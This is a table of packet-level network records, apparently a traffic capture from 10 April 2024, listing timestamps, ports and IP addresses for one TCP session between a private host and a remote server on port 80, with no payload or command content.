Apr 10, 2024 10:23:11.489413023 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489429951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489447117 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489464045 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489466906 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489468098 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489480972 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489499092 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489516020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489531994 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489532948 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489564896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489582062 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489604950 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489610910 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489623070 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489700079 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489717007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489734888 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489736080 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489736080 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489752054 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489768982 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489784956 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489800930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489808083 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489808083 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489819050 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489835978 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489852905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489869118 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489873886 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489873886 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489886045 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489903927 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489912033 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489919901 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489936113 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489953041 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489969015 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489974022 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489974022 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489985943 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.490003109 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.490020037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.490036964 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.490037918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.490037918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.490055084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.490075111 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.491168976 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632288933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632317066 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632334948 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632356882 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632380962 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632390022 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632405043 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632420063 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632435083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632441998 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632442951 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632508993 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632611990 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632628918 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632644892 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632657051 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632668972 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632672071 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632682085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632718086 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632718086 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632890940 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632905006 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632915020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632926941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632939100 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632950068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.632972002 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632972002 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.632992029 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633080006 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633115053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633135080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633162975 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633167982 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633205891 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633215904 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633375883 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633387089 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633399963 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633410931 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633426905 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633429050 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633443117 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633445978 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633455038 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633466005 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633476973 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633486032 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633488894 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633501053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633511066 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633521080 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633521080 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633522987 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633536100 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633547068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633558035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633563042 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633563042 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633577108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633589983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633590937 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633600950 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633614063 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633624077 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633635044 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633640051 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633640051 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633647919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633661032 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633671999 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633675098 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633685112 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633697033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633707047 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633707047 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633711100 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633723021 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633728027 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633737087 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633748055 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633754015 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633759975 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633775949 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633809090 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633815050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633815050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633824110 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633836031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633846998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633866072 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633889914 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633900881 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.633977890 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.633989096 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634001017 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634012938 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634025097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634036064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634038925 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634038925 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634047985 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634092093 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634092093 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634190083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634203911 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634288073 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634300947 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634315014 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634337902 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634350061 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634357929 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634402037 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634437084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634449005 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634460926 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634553909 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634578943 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634593964 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634608030 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634622097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634639025 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634650946 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634650946 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634655952 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634671926 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634685993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634694099 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634702921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634715080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634726048 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634737015 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634746075 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634746075 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634752989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634766102 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634769917 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634773016 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634881020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634896040 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634912014 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634948969 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634949923 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.634948969 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.634989023 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.635015011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635027885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635040045 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635076046 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.635087967 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635101080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635113001 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635126114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635138035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635149956 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635153055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.635153055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.635162115 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.635199070 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.635199070 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.636132002 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.636151075 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.636205912 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.636250973 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.637379885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637428999 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637440920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637451887 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637465000 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637471914 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.637480021 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637504101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637506008 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.637530088 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.637535095 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.637608051 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.644622087 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.644622087 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648423910 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648439884 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648540020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648541927 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648554087 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648603916 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648616076 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648624897 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648662090 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648685932 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648710966 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648786068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648797035 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648797989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648889065 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648904085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648915052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648926020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648941040 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648941040 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648964882 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648964882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.648978949 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.648989916 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649002075 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649036884 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649036884 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649275064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649348974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649384975 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649396896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649416924 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649462938 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649466991 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649544954 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649559021 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649565935 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649571896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649579048 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649585009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649652958 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649665117 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649676085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649687052 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649687052 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649688005 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649713039 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649713993 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649727106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649738073 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649749994 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649759054 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649763107 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649775982 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649794102 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649867058 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649868011 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649879932 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649892092 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649904013 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649913073 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.649918079 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.649925947 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.650074005 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.650413990 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.650787115 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.650787115 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.791865110 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791889906 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791903973 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791915894 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791927099 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791939020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791949987 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791960955 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791980028 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.791982889 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.791991949 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792004108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792017937 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792021990 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792021990 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792031050 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792042971 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792045116 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792085886 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792085886 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792211056 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792229891 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792241096 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792267084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792301893 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792301893 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792432070 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792452097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792464972 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792479992 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792493105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792507887 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.792527914 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792527914 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.792588949 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.793106079 CEST	80	49705	216.250.255.115	192.168.2.5
